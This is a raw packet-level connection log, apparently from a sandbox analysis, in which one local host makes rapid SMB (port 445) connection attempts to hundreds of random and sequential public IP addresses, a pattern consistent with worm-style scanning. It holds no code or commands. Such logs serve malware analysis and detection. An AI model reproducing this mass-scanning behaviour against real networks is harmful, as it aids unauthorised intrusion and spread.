Jul 20, 2022 19:34:14.264530897 CEST	61566	445	192.168.2.7	223.176.23.163
Jul 20, 2022 19:34:14.265057087 CEST	61575	445	192.168.2.7	126.245.70.160
Jul 20, 2022 19:34:14.265288115 CEST	61580	445	192.168.2.7	38.103.151.14
Jul 20, 2022 19:34:14.420428038 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.437109947 CEST	61587	445	192.168.2.7	99.235.27.106
Jul 20, 2022 19:34:14.437114954 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.437143087 CEST	61588	445	192.168.2.7	157.74.78.119
Jul 20, 2022 19:34:14.437218904 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.437277079 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.437378883 CEST	61590	445	192.168.2.7	202.152.21.71
Jul 20, 2022 19:34:14.437624931 CEST	61593	445	192.168.2.7	89.245.109.82
Jul 20, 2022 19:34:14.437812090 CEST	61595	445	192.168.2.7	34.66.55.83
Jul 20, 2022 19:34:14.438134909 CEST	61601	445	192.168.2.7	130.185.91.71
Jul 20, 2022 19:34:14.438281059 CEST	61603	445	192.168.2.7	27.203.76.90
Jul 20, 2022 19:34:14.438525915 CEST	61606	445	192.168.2.7	91.116.96.111
Jul 20, 2022 19:34:14.439873934 CEST	61607	445	192.168.2.7	175.95.93.119
Jul 20, 2022 19:34:14.453911066 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.453938007 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.453952074 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.454054117 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.454171896 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.454176903 CEST	61585	445	192.168.2.7	45.60.207.32
Jul 20, 2022 19:34:14.470586061 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.470602036 CEST	445	61585	45.60.207.32	192.168.2.7
Jul 20, 2022 19:34:14.514386892 CEST	61620	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.532504082 CEST	445	61620	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.532612085 CEST	61620	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.532681942 CEST	61620	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.533102036 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.549213886 CEST	445	61620	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.549278021 CEST	61620	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.549473047 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.549561977 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.549603939 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.561476946 CEST	61622	445	192.168.2.7	121.3.139.78
Jul 20, 2022 19:34:14.566097975 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.566127062 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.566236973 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.571582079 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.571700096 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.571774006 CEST	61621	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:14.589279890 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.589761972 CEST	445	61621	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:14.743244886 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.743275881 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.743381023 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.744188070 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.744200945 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.848792076 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.849067926 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.852269888 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.852279902 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.853051901 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.854474068 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.854598999 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.854607105 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.854875088 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.883199930 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.883285999 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:14.883351088 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.883486032 CEST	61624	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:34:14.883502960 CEST	443	61624	20.199.120.151	192.168.2.7
Jul 20, 2022 19:34:15.030262947 CEST	61627	445	192.168.2.7	131.153.221.95
Jul 20, 2022 19:34:15.123914003 CEST	61631	445	192.168.2.7	94.99.61.152
Jul 20, 2022 19:34:15.249099970 CEST	61635	445	192.168.2.7	51.158.189.129
Jul 20, 2022 19:34:15.271532059 CEST	445	61635	51.158.189.129	192.168.2.7
Jul 20, 2022 19:34:15.327358961 CEST	61643	445	192.168.2.7	7.38.26.14
Jul 20, 2022 19:34:15.327613115 CEST	61645	445	192.168.2.7	78.218.10.244
Jul 20, 2022 19:34:15.327728033 CEST	61646	445	192.168.2.7	202.191.110.173
Jul 20, 2022 19:34:15.327841997 CEST	61648	445	192.168.2.7	7.50.90.236
Jul 20, 2022 19:34:15.327878952 CEST	61647	445	192.168.2.7	57.227.193.185
Jul 20, 2022 19:34:15.328006029 CEST	61649	445	192.168.2.7	52.212.232.4
Jul 20, 2022 19:34:15.328382015 CEST	61658	445	192.168.2.7	202.41.110.75
Jul 20, 2022 19:34:15.328466892 CEST	61659	445	192.168.2.7	202.10.17.193
Jul 20, 2022 19:34:15.328707933 CEST	61664	445	192.168.2.7	125.179.50.176
Jul 20, 2022 19:34:15.328823090 CEST	61666	445	192.168.2.7	5.219.197.228
Jul 20, 2022 19:34:15.329041958 CEST	61671	445	192.168.2.7	223.152.40.16
Jul 20, 2022 19:34:15.358850002 CEST	61681	445	192.168.2.7	152.172.249.112
Jul 20, 2022 19:34:15.358851910 CEST	61682	445	192.168.2.7	136.226.180.216
Jul 20, 2022 19:34:15.389478922 CEST	61684	445	192.168.2.7	3.22.164.157
Jul 20, 2022 19:34:15.389590025 CEST	61685	445	192.168.2.7	84.75.147.19
Jul 20, 2022 19:34:15.390103102 CEST	61695	445	192.168.2.7	174.2.225.108
Jul 20, 2022 19:34:15.390336990 CEST	61699	445	192.168.2.7	47.15.104.35
Jul 20, 2022 19:34:15.467962027 CEST	61702	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:15.525604963 CEST	445	61702	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:15.525747061 CEST	61702	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:15.525840044 CEST	61702	445	192.168.2.7	213.142.151.112
Jul 20, 2022 19:34:15.562494040 CEST	61716	445	192.168.2.7	169.174.100.120
Jul 20, 2022 19:34:15.562618017 CEST	61718	445	192.168.2.7	93.249.246.37
Jul 20, 2022 19:34:15.562736988 CEST	61720	445	192.168.2.7	162.197.181.121
Jul 20, 2022 19:34:15.562968969 CEST	61724	445	192.168.2.7	33.51.252.115
Jul 20, 2022 19:34:15.563321114 CEST	61729	445	192.168.2.7	67.154.201.147
Jul 20, 2022 19:34:15.563374996 CEST	61731	445	192.168.2.7	4.65.83.205
Jul 20, 2022 19:34:15.563509941 CEST	61733	445	192.168.2.7	93.184.135.164
Jul 20, 2022 19:34:15.563741922 CEST	61736	445	192.168.2.7	194.250.125.223
Jul 20, 2022 19:34:15.586622000 CEST	445	61702	213.142.151.112	192.168.2.7
Jul 20, 2022 19:34:15.640115976 CEST	61739	445	192.168.2.7	121.3.139.79
Jul 20, 2022 19:34:15.640312910 CEST	61740	445	192.168.2.7	213.142.151.113
Jul 20, 2022 19:34:15.694798946 CEST	445	61740	213.142.151.113	192.168.2.7
Jul 20, 2022 19:34:15.779582024 CEST	61635	445	192.168.2.7	51.158.189.129
Jul 20, 2022 19:34:15.804785013 CEST	445	61635	51.158.189.129	192.168.2.7
Jul 20, 2022 19:34:15.907572985 CEST	445	61739	121.3.139.79	192.168.2.7
Jul 20, 2022 19:34:16.108359098 CEST	61744	445	192.168.2.7	131.153.221.96
Jul 20, 2022 19:34:16.201527119 CEST	61740	445	192.168.2.7	213.142.151.113
Jul 20, 2022 19:34:16.249284029 CEST	61750	445	192.168.2.7	88.228.41.204
Jul 20, 2022 19:34:16.254101038 CEST	445	61740	213.142.151.113	192.168.2.7
Jul 20, 2022 19:34:16.327058077 CEST	61752	445	192.168.2.7	51.158.189.130
Jul 20, 2022 19:34:16.349704027 CEST	445	61752	51.158.189.130	192.168.2.7
Jul 20, 2022 19:34:16.424592018 CEST	61739	445	192.168.2.7	121.3.139.79
Jul 20, 2022 19:34:16.452920914 CEST	61760	445	192.168.2.7	218.32.190.224
Jul 20, 2022 19:34:16.453279018 CEST	61762	445	192.168.2.7	31.118.233.247
Jul 20, 2022 19:34:16.453455925 CEST	61763	445	192.168.2.7	33.108.228.129
Jul 20, 2022 19:34:16.453644991 CEST	61764	445	192.168.2.7	68.102.120.7
Jul 20, 2022 19:34:16.453825951 CEST	61765	445	192.168.2.7	115.211.78.64
Jul 20, 2022 19:34:16.454139948 CEST	61767	445	192.168.2.7	18.6.239.179
Jul 20, 2022 19:34:16.455038071 CEST	61775	445	192.168.2.7	218.249.171.108
Jul 20, 2022 19:34:16.455332994 CEST	61777	445	192.168.2.7	146.73.46.235
Jul 20, 2022 19:34:16.455868006 CEST	61782	445	192.168.2.7	150.252.174.48
Jul 20, 2022 19:34:16.456146002 CEST	61784	445	192.168.2.7	110.174.237.216
Jul 20, 2022 19:34:16.456609964 CEST	61788	445	192.168.2.7	175.241.133.107
Jul 20, 2022 19:34:16.484291077 CEST	61798	445	192.168.2.7	160.160.157.171
Jul 20, 2022 19:34:16.484395981 CEST	61799	445	192.168.2.7	57.125.187.233
Jul 20, 2022 19:34:16.499214888 CEST	61800	445	192.168.2.7	183.195.151.108
Jul 20, 2022 19:34:16.499820948 CEST	61805	445	192.168.2.7	111.4.56.59
Jul 20, 2022 19:34:16.501148939 CEST	61814	445	192.168.2.7	106.229.205.46
Jul 20, 2022 19:34:16.501424074 CEST	61816	445	192.168.2.7	95.89.182.142
Jul 20, 2022 19:34:16.688832045 CEST	61832	445	192.168.2.7	207.42.149.164
Jul 20, 2022 19:34:16.689106941 CEST	61834	445	192.168.2.7	214.69.106.250
Jul 20, 2022 19:34:16.689371109 CEST	61836	445	192.168.2.7	91.90.101.209
Jul 20, 2022 19:34:16.689723015 CEST	61839	445	192.168.2.7	215.251.179.66
Jul 20, 2022 19:34:16.690515041 CEST	61846	445	192.168.2.7	86.8.105.141
Jul 20, 2022 19:34:16.690663099 CEST	61847	445	192.168.2.7	142.28.15.56
Jul 20, 2022 19:34:16.690915108 CEST	61849	445	192.168.2.7	153.17.97.54
Jul 20, 2022 19:34:16.691387892 CEST	61853	445	192.168.2.7	129.5.131.99
Jul 20, 2022 19:34:16.691525936 CEST	61854	445	192.168.2.7	84.40.96.36
Jul 20, 2022 19:34:16.692640066 CEST	445	61739	121.3.139.79	192.168.2.7
Jul 20, 2022 19:34:16.718548059 CEST	61855	445	192.168.2.7	121.3.139.80
Jul 20, 2022 19:34:16.718728065 CEST	61856	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.777995110 CEST	445	61856	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:16.778125048 CEST	61856	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.789612055 CEST	61856	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.790752888 CEST	61857	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.848361969 CEST	445	61856	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:16.848388910 CEST	445	61856	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:16.848403931 CEST	445	61857	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:16.848503113 CEST	61857	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.848545074 CEST	61857	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:16.857803106 CEST	61752	445	192.168.2.7	51.158.189.130
Jul 20, 2022 19:34:16.880544901 CEST	445	61752	51.158.189.130	192.168.2.7
Jul 20, 2022 19:34:16.904819012 CEST	445	61857	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:17.389085054 CEST	61752	445	192.168.2.7	51.158.189.130
Jul 20, 2022 19:34:17.413086891 CEST	445	61752	51.158.189.130	192.168.2.7
Jul 20, 2022 19:34:17.683932066 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.684041977 CEST	61862	445	192.168.2.7	51.158.189.131
Jul 20, 2022 19:34:17.684180975 CEST	61863	445	192.168.2.7	131.153.221.97
Jul 20, 2022 19:34:17.684326887 CEST	61864	445	192.168.2.7	112.244.19.93
Jul 20, 2022 19:34:17.684473991 CEST	61865	445	192.168.2.7	89.239.203.190
Jul 20, 2022 19:34:17.685204029 CEST	61872	445	192.168.2.7	55.128.241.135
Jul 20, 2022 19:34:17.685455084 CEST	61874	445	192.168.2.7	45.164.158.11
Jul 20, 2022 19:34:17.685568094 CEST	61875	445	192.168.2.7	213.205.148.42
Jul 20, 2022 19:34:17.685689926 CEST	61876	445	192.168.2.7	123.139.224.61
Jul 20, 2022 19:34:17.685811043 CEST	61877	445	192.168.2.7	192.215.200.110
Jul 20, 2022 19:34:17.692528009 CEST	61879	445	192.168.2.7	113.67.125.220
Jul 20, 2022 19:34:17.693685055 CEST	61887	445	192.168.2.7	114.42.243.41
Jul 20, 2022 19:34:17.693943024 CEST	61889	445	192.168.2.7	175.253.59.119
Jul 20, 2022 19:34:17.694475889 CEST	61894	445	192.168.2.7	79.215.64.189
Jul 20, 2022 19:34:17.694704056 CEST	61896	445	192.168.2.7	15.96.8.181
Jul 20, 2022 19:34:17.695127964 CEST	61900	445	192.168.2.7	24.54.210.213
Jul 20, 2022 19:34:17.696357012 CEST	61912	445	192.168.2.7	111.149.222.13
Jul 20, 2022 19:34:17.697103024 CEST	61919	445	192.168.2.7	182.88.73.111
Jul 20, 2022 19:34:17.697675943 CEST	61924	445	192.168.2.7	212.157.106.41
Jul 20, 2022 19:34:17.698615074 CEST	61933	445	192.168.2.7	181.28.68.251
Jul 20, 2022 19:34:17.698837996 CEST	61935	445	192.168.2.7	108.5.142.41
Jul 20, 2022 19:34:17.702620029 CEST	445	61861	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:17.702785015 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.709275961 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.727482080 CEST	445	61861	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:17.727509022 CEST	445	61861	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:17.727524042 CEST	445	61861	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:17.727644920 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.727684975 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.727777004 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.790427923 CEST	61938	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.800081015 CEST	61939	445	192.168.2.7	121.3.139.81
Jul 20, 2022 19:34:17.808161020 CEST	445	61938	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.808255911 CEST	61938	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.808460951 CEST	61938	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.809756994 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.812792063 CEST	61954	445	192.168.2.7	61.208.217.160
Jul 20, 2022 19:34:17.813047886 CEST	61956	445	192.168.2.7	153.104.4.241
Jul 20, 2022 19:34:17.813282013 CEST	61958	445	192.168.2.7	172.218.231.156
Jul 20, 2022 19:34:17.813556910 CEST	61961	445	192.168.2.7	8.193.122.120
Jul 20, 2022 19:34:17.814284086 CEST	61968	445	192.168.2.7	174.4.249.122
Jul 20, 2022 19:34:17.814439058 CEST	61969	445	192.168.2.7	118.80.193.247
Jul 20, 2022 19:34:17.814688921 CEST	61971	445	192.168.2.7	82.137.111.76
Jul 20, 2022 19:34:17.815135956 CEST	61975	445	192.168.2.7	145.25.98.67
Jul 20, 2022 19:34:17.815227032 CEST	61976	445	192.168.2.7	178.109.6.88
Jul 20, 2022 19:34:17.826451063 CEST	445	61938	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.826647997 CEST	61938	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.827946901 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.828074932 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.831867933 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.850116968 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.850652933 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.850673914 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.850780010 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.850826025 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.850892067 CEST	61942	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:17.867242098 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.867266893 CEST	445	61942	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:17.967236042 CEST	61861	445	192.168.2.7	45.60.207.33
Jul 20, 2022 19:34:17.983860016 CEST	445	61861	45.60.207.33	192.168.2.7
Jul 20, 2022 19:34:19.187356949 CEST	61980	445	192.168.2.7	121.3.139.82
Jul 20, 2022 19:34:19.187537909 CEST	61981	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.187688112 CEST	61982	445	192.168.2.7	51.158.189.132
Jul 20, 2022 19:34:19.235109091 CEST	61987	445	192.168.2.7	17.109.2.154
Jul 20, 2022 19:34:19.235878944 CEST	61994	445	192.168.2.7	104.175.82.196
Jul 20, 2022 19:34:19.237128019 CEST	62006	445	192.168.2.7	197.178.69.23
Jul 20, 2022 19:34:19.237581015 CEST	62010	445	192.168.2.7	205.211.153.71
Jul 20, 2022 19:34:19.237823963 CEST	62012	445	192.168.2.7	22.51.236.106
Jul 20, 2022 19:34:19.238358021 CEST	62017	445	192.168.2.7	18.93.111.76
Jul 20, 2022 19:34:19.238595009 CEST	62019	445	192.168.2.7	17.61.7.69
Jul 20, 2022 19:34:19.239371061 CEST	62027	445	192.168.2.7	196.168.81.234
Jul 20, 2022 19:34:19.239595890 CEST	62029	445	192.168.2.7	156.87.14.132
Jul 20, 2022 19:34:19.239732027 CEST	62030	445	192.168.2.7	79.49.254.44
Jul 20, 2022 19:34:19.239845991 CEST	62031	445	192.168.2.7	103.192.185.111
Jul 20, 2022 19:34:19.239989042 CEST	62032	445	192.168.2.7	42.254.234.186
Jul 20, 2022 19:34:19.240439892 CEST	62034	445	192.168.2.7	64.217.172.216
Jul 20, 2022 19:34:19.241328955 CEST	62041	445	192.168.2.7	122.84.170.20
Jul 20, 2022 19:34:19.241496086 CEST	62042	445	192.168.2.7	60.64.65.245
Jul 20, 2022 19:34:19.243079901 CEST	62056	445	192.168.2.7	92.144.167.216
Jul 20, 2022 19:34:19.243351936 CEST	62058	445	192.168.2.7	43.63.180.237
Jul 20, 2022 19:34:19.243613958 CEST	62060	445	192.168.2.7	202.181.118.102
Jul 20, 2022 19:34:19.243988037 CEST	62063	445	192.168.2.7	185.69.95.179
Jul 20, 2022 19:34:19.244754076 CEST	62070	445	192.168.2.7	157.245.204.60
Jul 20, 2022 19:34:19.244884014 CEST	62071	445	192.168.2.7	139.75.38.121
Jul 20, 2022 19:34:19.245146036 CEST	62073	445	192.168.2.7	158.47.118.22
Jul 20, 2022 19:34:19.245603085 CEST	62077	445	192.168.2.7	123.39.77.11
Jul 20, 2022 19:34:19.245738029 CEST	62078	445	192.168.2.7	208.160.176.221
Jul 20, 2022 19:34:19.246273994 CEST	62083	445	192.168.2.7	150.152.121.14
Jul 20, 2022 19:34:19.246500015 CEST	62085	445	192.168.2.7	28.117.194.190
Jul 20, 2022 19:34:19.352211952 CEST	445	61981	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:19.352328062 CEST	61981	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.352492094 CEST	61981	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.353159904 CEST	62096	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.519257069 CEST	445	61981	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:19.519282103 CEST	445	61981	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:19.519808054 CEST	445	62096	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:19.519982100 CEST	62096	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.520015955 CEST	62096	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:19.687124014 CEST	445	62096	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:19.920895100 CEST	62097	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:19.977010965 CEST	445	62097	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:19.977147102 CEST	62097	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:19.977201939 CEST	62097	445	192.168.2.7	213.142.151.114
Jul 20, 2022 19:34:20.030241966 CEST	445	62097	213.142.151.114	192.168.2.7
Jul 20, 2022 19:34:20.093375921 CEST	62098	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.153951883 CEST	445	62098	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.154102087 CEST	62098	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.154670000 CEST	62098	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.154670954 CEST	62099	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.207202911 CEST	445	62099	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.207333088 CEST	62099	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.207384109 CEST	62099	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.211940050 CEST	445	62098	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.211971045 CEST	445	62098	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.260828018 CEST	445	62099	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.260859966 CEST	445	62099	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.260992050 CEST	62099	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.264717102 CEST	62101	445	192.168.2.7	121.3.139.83
Jul 20, 2022 19:34:20.264808893 CEST	62102	445	192.168.2.7	51.158.189.133
Jul 20, 2022 19:34:20.313975096 CEST	445	62099	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.314104080 CEST	62099	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:20.358715057 CEST	62107	445	192.168.2.7	221.211.130.195
Jul 20, 2022 19:34:20.358824015 CEST	62109	445	192.168.2.7	135.199.194.129
Jul 20, 2022 19:34:20.359189987 CEST	62116	445	192.168.2.7	124.9.135.173
Jul 20, 2022 19:34:20.359338999 CEST	62118	445	192.168.2.7	77.22.146.127
Jul 20, 2022 19:34:20.359452009 CEST	62119	445	192.168.2.7	156.170.227.219
Jul 20, 2022 19:34:20.359483004 CEST	62120	445	192.168.2.7	57.119.56.28
Jul 20, 2022 19:34:20.359613895 CEST	62122	445	192.168.2.7	194.108.235.170
Jul 20, 2022 19:34:20.359617949 CEST	62121	445	192.168.2.7	168.250.218.56
Jul 20, 2022 19:34:20.360119104 CEST	62131	445	192.168.2.7	56.86.57.184
Jul 20, 2022 19:34:20.360292912 CEST	62134	445	192.168.2.7	77.50.210.0
Jul 20, 2022 19:34:20.360512018 CEST	62138	445	192.168.2.7	84.224.197.58
Jul 20, 2022 19:34:20.360639095 CEST	62140	445	192.168.2.7	154.252.29.146
Jul 20, 2022 19:34:20.360847950 CEST	62143	445	192.168.2.7	24.4.156.194
Jul 20, 2022 19:34:20.361427069 CEST	62155	445	192.168.2.7	218.11.126.3
Jul 20, 2022 19:34:20.361942053 CEST	62163	445	192.168.2.7	164.141.116.73
Jul 20, 2022 19:34:20.362247944 CEST	62169	445	192.168.2.7	76.201.81.59
Jul 20, 2022 19:34:20.362410069 CEST	62172	445	192.168.2.7	104.146.164.41
Jul 20, 2022 19:34:20.362447023 CEST	62173	445	192.168.2.7	155.195.2.153
Jul 20, 2022 19:34:20.362905979 CEST	62181	445	192.168.2.7	33.4.124.216
Jul 20, 2022 19:34:20.363039017 CEST	62183	445	192.168.2.7	57.97.11.47
Jul 20, 2022 19:34:20.363291025 CEST	62187	445	192.168.2.7	32.131.139.221
Jul 20, 2022 19:34:20.363426924 CEST	62190	445	192.168.2.7	222.59.154.194
Jul 20, 2022 19:34:20.363570929 CEST	62192	445	192.168.2.7	148.35.48.150
Jul 20, 2022 19:34:20.363893032 CEST	62199	445	192.168.2.7	148.113.103.236
Jul 20, 2022 19:34:20.364130974 CEST	62203	445	192.168.2.7	199.146.38.77
Jul 20, 2022 19:34:20.364222050 CEST	62204	445	192.168.2.7	55.241.91.134
Jul 20, 2022 19:34:20.364331961 CEST	62206	445	192.168.2.7	17.90.237.228
Jul 20, 2022 19:34:20.369981050 CEST	445	62099	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:20.858477116 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.876641989 CEST	445	62216	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:20.876831055 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.876895905 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.894996881 CEST	445	62216	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:20.895028114 CEST	445	62216	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:20.895041943 CEST	445	62216	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:20.895124912 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.895179987 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.895229101 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:20.952579021 CEST	62217	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.969778061 CEST	445	62217	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:20.969918966 CEST	62217	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.969964981 CEST	62217	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.970436096 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.988445997 CEST	445	62217	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:20.988473892 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:20.988563061 CEST	62217	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.988634109 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:20.988673925 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:21.007095098 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:21.007127047 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:21.007186890 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:21.007261992 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:21.007323027 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:21.007462978 CEST	62218	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:21.025799036 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:21.025825977 CEST	445	62218	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:21.155041933 CEST	62216	445	192.168.2.7	45.60.207.34
Jul 20, 2022 19:34:21.173517942 CEST	445	62216	45.60.207.34	192.168.2.7
Jul 20, 2022 19:34:21.342993975 CEST	62220	445	192.168.2.7	51.158.189.134
Jul 20, 2022 19:34:21.346004009 CEST	62221	445	192.168.2.7	121.3.139.84
